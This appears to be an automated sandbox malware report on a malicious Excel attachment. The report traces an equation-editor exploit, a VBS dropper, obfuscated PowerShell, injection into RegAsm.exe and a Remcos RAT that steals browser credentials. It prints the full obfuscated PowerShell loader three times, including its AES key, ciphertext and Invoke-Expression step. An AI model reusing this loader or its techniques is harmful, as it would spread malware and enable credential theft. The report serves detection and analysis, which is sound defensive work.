Code function: 12_2_00407C97 SetEvent,GetFileAttributesW,DeleteFileW,ShellExecuteW,GetLogicalDriveStringsA,SetFileAttributesW,DeleteFileA,Sleep,StrToIntA,CreateDirectoryW,

12_2_00407C97

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 599797	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

API call chain: ExitProcess graph end node

graph_12-49192

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 12_2_004349F9 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

12_2_004349F9

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

12_2_0041CB50

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 12_2_004432B5 mov eax, dword ptr fs:[00000030h]

12_2_004432B5

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 12_2_00412077 GetProcessHeap,HeapFree,

12_2_00412077

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process token adjusted: Debug

Yara detected Powershell download and execute

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 12_2_00434B47 SetUnhandledExceptionFilter,	12_2_00434B47
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 12_2_004349F9 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	12_2_004349F9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 12_2_0043BB22 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	12_2_0043BB22
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 12_2_00434FDC SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	12_2_00434FDC

HIPS / PFW / Operating System Protection Evasion

Source: Yara match

File source: Process Memory Space: powershell.exe PID: 3240, type: MEMORYSTR

Injects a PE file into a foreign processes

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A

Writes to foreign memory regions

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 401000	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 459000	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 471000	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 477000	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 478000	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 479000	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 47E000	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 7EFDE008	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: GetCurrentProcessId,OpenMutexA,CloseHandle,CreateThread,CloseHandle,Sleep,OpenProcess, svchost.exe

12_2_004120F7

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 12_2_00419627 mouse_event,

12_2_00419627

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\creatednewwaterbottleform.vBS"	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI68766530954276373206247047974663CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIdSLZBgRjPNZ/qocg/lH2aZHZ5Jl+3cjSG1p/+zzQRClxM6ERqs615j4oDskIGVeU9U0hKzWE2qLRhN3w3oPnP9D3zRR0BjWDDOAHuyfLsijMtAivmVqnjEhi75GYn/731w2sw2LX9rePUu8MuzZBPukpDJjP40wnUy5RXUPJoZQj2IJHLLwPLeWAVLyYam2ryxj+aZ147db0X48wxpHj1wzIXORWhGABOaWwaSlaHL3gmVyt1aXV7FBFES5QqtebxGfvLhl4iUZNYV88W0LKeIoUGNbEQFkzf13DC0Iby1tFcGdBD33I0Q+W2Tvg+5qcSyDt39hGQc+cPQJW6i+zS5PdayxMRwfx6SHZXH4Wqvwv1PSLLBL05m+vUyyZdWHee1jJZK1IYpJ679FIiTnjUqbP5xka/o9mFQDN8rr6+t3w5UZ8/qZmHx1mVRoEQQE9sfqxRdM4XzLD6zM0xvTyXDiPtOrir9Y56WYwILgvowZC7rtlCr5vnoqSqCeZ+TBUh3I8J+drjXQv5Li4WPY7XJzFYZPaPMsWDQEjc1bMNXhVQ0Ukf2iM7FfM7k6Nze4qwdaBy3eAeQAbrjji8e0i57J7CMED36TsJyhF0u03e/7/3gWxHIosnVfstQl9YchNNE0mcQpHtSiF3PXt9EE9Ulz//7YH3sp7ZQKed24Zy6boPjqU9Ryt/0qHB2CgOA9dDgikPiavuiSSZwbmMVP3wzAzgXN3nBCy0PstnP16FjfPsLfXhDA3NS1dtwaJQ0liDeM77UG2Ki38eJ/rruKe9qgo+FuHe0xchT8/Wf5NVYoxrcASiFgam2A+WOxlafeNmbR8szgcpCGnpZl/NgN6OssaRDn26lO+fP2jr2C/5Yc3McAo0Ld51WdEwKzWP8b1W57wqS7gMMfAyZ4qaXwBt0DPwXCDT4lDwrWOtFJtHKkrSrB29mx+ZSiTGJd4zwLYP4xGKn+mDlT0rPmQDAZM0Hkrfyo5dxlRZHsLsW0XCN3EuXI+4932vGm0QSE+1K4quce5wQtHb1zoJKShclZ3BMUvCdOwmEdkxUQXKG7DtjDx8uVaNsAElTRbqENfoYu9eWmyI9LzKR9oZNPS+COhZr5JHq9hpvTMcsOldartIGHZY80SQMOSaGVIgdyoyJGpNwdUZLlDYe8NYQDaAJUhcq27lHvZkYQVajhD3kDVJQbOIf1lYyaY52Jn1dHnhXGk0nluzd0ilXEHvzPHLaVeocoCd50UQJ+q1KgXN7gS2k+ZoaXgaMSw9ouBoVyLc2V04RD098/AS2dEb2//QHWXG3F0c50KqYP4QoW398pQnbg4M4pJz0UIDlflEkkDinQrkxq/DRVpVBWz7wRUbde9F6yxo/vtkM0dGIR+Udwiy0EWC9HpU+MKlp45fqh0Pc7VyS3cHOu8E4FMallUVE4yfg==CnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cReP	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior

Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -command (('((e4jfunction decrypt-aesencryption {param([string]tmibase64text,[stringe4j+e4j]tmikey)tmie4j+e4jaesmanaged = new-object system.see4j+e4jcurity.cryptography.aesmanaged;tmia'+'esmanagee4j+e4'+'jd.modee4j+e4j = [syse4j+'+'e4jtem.security.cryptoge4j+e4jraphy.e4j+e'+'4jcie4'+'j+e4jphermode]::cbc;tmiaesmanaged.'+'pae4j+e4jddin'+'g = [system.security.cryptography.paddingmode]::zeros;tmiaesmanaged.blocksiz'+'e = 128;tmiaesmanaged.keysize = 256;'+'tmiaesmanagee4j+'+'e4jd.key = ('+'new-objecte4'+'j+e4j system.security.cryptography.sha256managed).computehash([syste'+'m.text.encoding]::utf8.gee4j+e4jtbytes(tmikey));tmicipherbytes = [syst'+'em.convert]::frombase64string(tmibase64text);tmiaesmanaged.iv '+'= tmicipherbytes[0..15];tmidecryptor = tmiaesmanaged.createdecryptor();tmidecryptedbytes = tmidecryptor.transformfin'+'alblock(tmicipherbytes, 16, tmicipherbytes.length - 16);e4j+e4jtmiae'+'smanaged.d'+'ispose('+');return [system.text.encoding]::utf8.getstring'+'(tmidecry'+'ptedbytes).tre4j+e4jim([char]0);}tmichave = cni68766530954276373206247047974663cnie4j+e4j;tmitextocriptogr'+'afadobase4j+e4je64 = '+'cnidslzbgrjpnz/qocg/lh2azhz5jl+3cjsg1p/+zzqrclxm6erqs615j4odskigveu9u0hkzwe2qlrhn3w3opnp9d3zrr0bjwddoahuyflsijmtaivmvqnjehi75gyn/731w2sw2lx9repuu8muzzbpukpdjjp40wnuy5rxupjozqj2ijhllwplewavlyyam2ryxj+az147db0x48wxphj1wzixorwhgaboawwaslahl3gmvyt1axv7fbfes5qqtebxgfvlhl4iuznyv88w0lkeiougnbeqfkzf13dc0iby1tfcgdbd33i0q+w2tvg+5qcsydt39hgqc+cpqjw6i+zs5pdayxmrwfx6shzxh4wqvwv1psllbl05m+vuyyzdwhee1jjzk1iypj679fiitnjuqbp5xka/o9mfqdn8rr6+t3w5uz8/qzmhx1mvroeqqe9sfqxrdm4xzld6zm0xvtyxdiptorir9y56wywilgvowzc7rtlcr5vnoqsqcez+tbuh3i8j+drjxqv5li4wpy7xjzfyzpapmswdqejc1bmnxhvq0ukf2im7ffm7k6nze4qwdaby3eaeqabrjji8e0i57j7cmed36tsjyhf0u03e/7/3gwxhiosnvfstql9ychnne0mcqphtsif3pxt9ee9ulz//7yh3sp7zqked24zy6bopjqu9ryt/0qhb2cgoa9ddgikpiavuisszwbmmvp3wzazgxn3nbcy0pstnp16fjfpslfxhda3ns1dtwajq0lidem77ug2ki38ej/rruke9qgo+fuhe0xcht8/wf5nvyoxrcasifgam2a+woxlafenmbr8szgcpcgnpzl/ngn6ossardn26lo+fp2jr2c/5yc3mcao0ld51wdewkzwp8b1w57wqs7gmmfayz4qaxwbt0dpwxcdt4ldwrwotfjthkkrsrb29mx+zsitgjd4zwlyp4xgkn+mdlt0rpmqdazm0hkrfyo5dxlrzhslsw0xcn3euxi+4932vgm0qse+1k4quce5wqthb1zojkshclz3bmuvcdowmedkxuqxkg7dtjdx8uvansaeltrbqenfoyu9ewmyi9lzkr9oznps+cohzr5jhq9hpvtmcsoldartighzy80sqmosagvigdyoyjgpnwduzlldye8nyqdaajuhcq27lhvzkyqvajhd3kdvjqboif1lyyay52jn1dhnhxgk0nluzd0ilxehvzphlaveococd50uqj+q1kgxn7gs2k+zoaxgamsw9oubovylc2v04rd098/as2deb2//qhwxg3f0c50kqyp4qow398pqnbg4m4pjz0uidlflekkdinqrkxq/drvpvbwz7wrubde9f6yxo/vtkm0dgir+udwiy0ewc9hpu+mklp45fqh0pc7vys3chou8e4fmalluve4yfg==cni;tmitextodescriptografado = decrypt-aesencryption -'+'base64text tmitextocriptografadobase64 -key tmichave;w'+'rite-host cnitexe4j+e4jto descre4j+e4jiptografado: tmi'+'textodescriptograe4j+e4jfadocni;invoke-expressioe4j+e4jn tmitext'+'oe4j+e4jdescriptografado;e4j)-replace ([char]67+[char]110+['+'char]73),[char]34 -crep
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -command (('((e4jfunction decrypt-aesencryption {param([string]tmibase64text,[stringe4j+e4j]tmikey)tmie4j+e4jaesmanaged = new-object system.see4j+e4jcurity.cryptography.aesmanaged;tmia'+'esmanagee4j+e4'+'jd.modee4j+e4j = [syse4j+'+'e4jtem.security.cryptoge4j+e4jraphy.e4j+e'+'4jcie4'+'j+e4jphermode]::cbc;tmiaesmanaged.'+'pae4j+e4jddin'+'g = [system.security.cryptography.paddingmode]::zeros;tmiaesmanaged.blocksiz'+'e = 128;tmiaesmanaged.keysize = 256;'+'tmiaesmanagee4j+'+'e4jd.key = ('+'new-objecte4'+'j+e4j system.security.cryptography.sha256managed).computehash([syste'+'m.text.encoding]::utf8.gee4j+e4jtbytes(tmikey));tmicipherbytes = [syst'+'em.convert]::frombase64string(tmibase64text);tmiaesmanaged.iv '+'= tmicipherbytes[0..15];tmidecryptor = tmiaesmanaged.createdecryptor();tmidecryptedbytes = tmidecryptor.transformfin'+'alblock(tmicipherbytes, 16, tmicipherbytes.length - 16);e4j+e4jtmiae'+'smanaged.d'+'ispose('+');return [system.text.encoding]::utf8.getstring'+'(tmidecry'+'ptedbytes).tre4j+e4jim([char]0);}tmichave = cni68766530954276373206247047974663cnie4j+e4j;tmitextocriptogr'+'afadobase4j+e4je64 = '+'cnidslzbgrjpnz/qocg/lh2azhz5jl+3cjsg1p/+zzqrclxm6erqs615j4odskigveu9u0hkzwe2qlrhn3w3opnp9d3zrr0bjwddoahuyflsijmtaivmvqnjehi75gyn/731w2sw2lx9repuu8muzzbpukpdjjp40wnuy5rxupjozqj2ijhllwplewavlyyam2ryxj+az147db0x48wxphj1wzixorwhgaboawwaslahl3gmvyt1axv7fbfes5qqtebxgfvlhl4iuznyv88w0lkeiougnbeqfkzf13dc0iby1tfcgdbd33i0q+w2tvg+5qcsydt39hgqc+cpqjw6i+zs5pdayxmrwfx6shzxh4wqvwv1psllbl05m+vuyyzdwhee1jjzk1iypj679fiitnjuqbp5xka/o9mfqdn8rr6+t3w5uz8/qzmhx1mvroeqqe9sfqxrdm4xzld6zm0xvtyxdiptorir9y56wywilgvowzc7rtlcr5vnoqsqcez+tbuh3i8j+drjxqv5li4wpy7xjzfyzpapmswdqejc1bmnxhvq0ukf2im7ffm7k6nze4qwdaby3eaeqabrjji8e0i57j7cmed36tsjyhf0u03e/7/3gwxhiosnvfstql9ychnne0mcqphtsif3pxt9ee9ulz//7yh3sp7zqked24zy6bopjqu9ryt/0qhb2cgoa9ddgikpiavuisszwbmmvp3wzazgxn3nbcy0pstnp16fjfpslfxhda3ns1dtwajq0lidem77ug2ki38ej/rruke9qgo+fuhe0xcht8/wf5nvyoxrcasifgam2a+woxlafenmbr8szgcpcgnpzl/ngn6ossardn26lo+fp2jr2c/5yc3mcao0ld51wdewkzwp8b1w57wqs7gmmfayz4qaxwbt0dpwxcdt4ldwrwotfjthkkrsrb29mx+zsitgjd4zwlyp4xgkn+mdlt0rpmqdazm0hkrfyo5dxlrzhslsw0xcn3euxi+4932vgm0qse+1k4quce5wqthb1zojkshclz3bmuvcdowmedkxuqxkg7dtjdx8uvansaeltrbqenfoyu9ewmyi9lzkr9oznps+cohzr5jhq9hpvtmcsoldartighzy80sqmosagvigdyoyjgpnwduzlldye8nyqdaajuhcq27lhvzkyqvajhd3kdvjqboif1lyyay52jn1dhnhxgk0nluzd0ilxehvzphlaveococd50uqj+q1kgxn7gs2k+zoaxgamsw9oubovylc2v04rd098/as2deb2//qhwxg3f0c50kqyp4qow398pqnbg4m4pjz0uidlflekkdinqrkxq/drvpvbwz7wrubde9f6yxo/vtkm0dgir+udwiy0ewc9hpu+mklp45fqh0pc7vys3chou8e4fmalluve4yfg==cni;tmitextodescriptografado = decrypt-aesencryption -'+'base64text tmitextocriptografadobase64 -key tmichave;w'+'rite-host cnitexe4j+e4jto descre4j+e4jiptografado: tmi'+'textodescriptograe4j+e4jfadocni;invoke-expressioe4j+e4jn tmitext'+'oe4j+e4jdescriptografado;e4j)-replace ([char]67+[char]110+['+'char]73),[char]34 -crep			Jump to behavior

Source: RegAsm.exe, 0000000C.00000002.1053847847.00000000004F1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program ManagerChromelity Mode] - Microsoft Word
Source: RegAsm.exe, 0000000C.00000002.1053847847.0000000000532000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Manager":200,
Source: RegAsm.exe, 0000000C.00000002.1053847847.00000000004F1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \|Program Manager\|
Source: RegAsm.exe, 0000000C.00000002.1053847847.00000000004F1000.00000004.00000020.00020000.00000000.sdmp, nots.dat.12.dr	Binary or memory string: [Program Manager]

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 12_2_00434C52 cpuid

12_2_00434C52

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: EnumSystemLocalesW,	12_2_00452036
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	12_2_004520C3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetLocaleInfoW,	12_2_00452313
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: EnumSystemLocalesW,	12_2_00448404
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	12_2_0045243C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetLocaleInfoW,	12_2_00452543
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	12_2_00452610
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetLocaleInfoA,	12_2_0040F8D1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetLocaleInfoW,	12_2_004488ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: IsValidCodePage,GetLocaleInfoW,	12_2_00451CD8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: EnumSystemLocalesW,	12_2_00451F50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: EnumSystemLocalesW,	12_2_00451F9B

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 12_2_00448957 GetSystemTimeAsFileTime,

12_2_00448957

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 12_2_0041B60D GetUserNameW,

12_2_0041B60D

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 12_2_00449190 _free,_free,_free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,_free,

12_2_00449190

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Stealing of Sensitive Information

Contains functionality to steal Chrome passwords or cookies

Source: Yara match	File source: 10.2.powershell.exe.41fd080.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.powershell.exe.41fd080.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000C.00000002.1053711584.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.1053847847.00000000004F1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.437191072.0000000003ED8000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 3240, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 3384, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\note\nots.dat, type: DROPPED

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: \AppData\Local\Google\Chrome\User Data\Default\Login Data

12_2_0040BA12

Contains functionality to steal Firefox passwords or cookies

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: \AppData\Roaming\Mozilla\Firefox\Profiles\		12_2_0040BB30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: \key3.db		12_2_0040BB30

Remote Access Functionality

Detected Remcos RAT

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Mutex created: \Sessions\1\BaseNamedObjects\Rmc-999Z97

Source: Yara match	File source: 10.2.powershell.exe.41fd080.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.powershell.exe.41fd080.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000C.00000002.1053711584.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.1053847847.00000000004F1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.437191072.0000000003ED8000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 3240, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 3384, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\note\nots.dat, type: DROPPED

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: cmd.exe

12_2_0040569A

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	131 Scripting	Valid Accounts	1 Native API	131 Scripting	1 DLL Side-Loading	11 Deobfuscate/Decode Files or Information	1 OS Credential Dumping	2 System Time Discovery	Remote Services	11 Archive Collected Data	15 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	43 Exploitation for Client Execution	1 DLL Side-Loading	1 Bypass User Account Control	21 Obfuscated Files or Information	211 Input Capture	1 Account Discovery	Remote Desktop Protocol	211 Input Capture	2 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	221 Command and Scripting Interpreter	1 Windows Service	1 Access Token Manipulation	1 DLL Side-Loading	2 Credentials In Files	1 System Service Discovery	SMB/Windows Admin Shares	3 Clipboard Data	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 Service Execution	Login Hook	1 Windows Service	1 Bypass User Account Control	NTDS	3 File and Directory Discovery	Distributed Component Object Model	Input Capture	1 Remote Access Software	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	2 PowerShell	Network Logon Script	222 Process Injection	1 Masquerading	LSA Secrets	34 System Information Discovery	SSH	Keylogging	3 Non-Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	21 Virtualization/Sandbox Evasion	Cached Domain Credentials	2 Security Software Discovery	VNC	GUI Input Capture	213 Application Layer Protocol	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Access Token Manipulation	DCSync	21 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	222 Process Injection	Proc Filesystem	3 Process Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	HTML Smuggling	/etc/passwd and /etc/shadow	1 Application Window Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	Dynamic API Resolution	Network Sniffing	1 System Owner/User Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement
Network Security Appliances	Domains	Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	Stripped Payloads	Input Capture	1 Remote System Discovery	Software Deployment Tools	Remote Data Staging	Mail Protocols	Exfiltration Over Unencrypted Non-C2 Protocol	Firmware Corruption

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
AWD 490104998518.xls	29%	ReversingLabs	Document-Excel.Exploit.CVE-2017-0199
AWD 490104998518.xls	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\D09A9DB5.doc	100%	Avira	HEUR/Rtf.Malformed
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\creamthingstohappenedgetmebackwithentirethingstogetbackeverythingtounderstandhowmuchpowerfulthingsitis__________wearegreatwithentirethingstobeback[1].doc	100%	Avira	HEUR/Rtf.Malformed
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRF{2F215D8E-00CF-4E4E-9C6A-7B89408264B1}.tmp	100%	Avira	EXP/CVE-2017-11882.Gen

Source	Detection	Scanner	Label
http://geoplugin.net/json.gp	0%	URL Reputation	safe
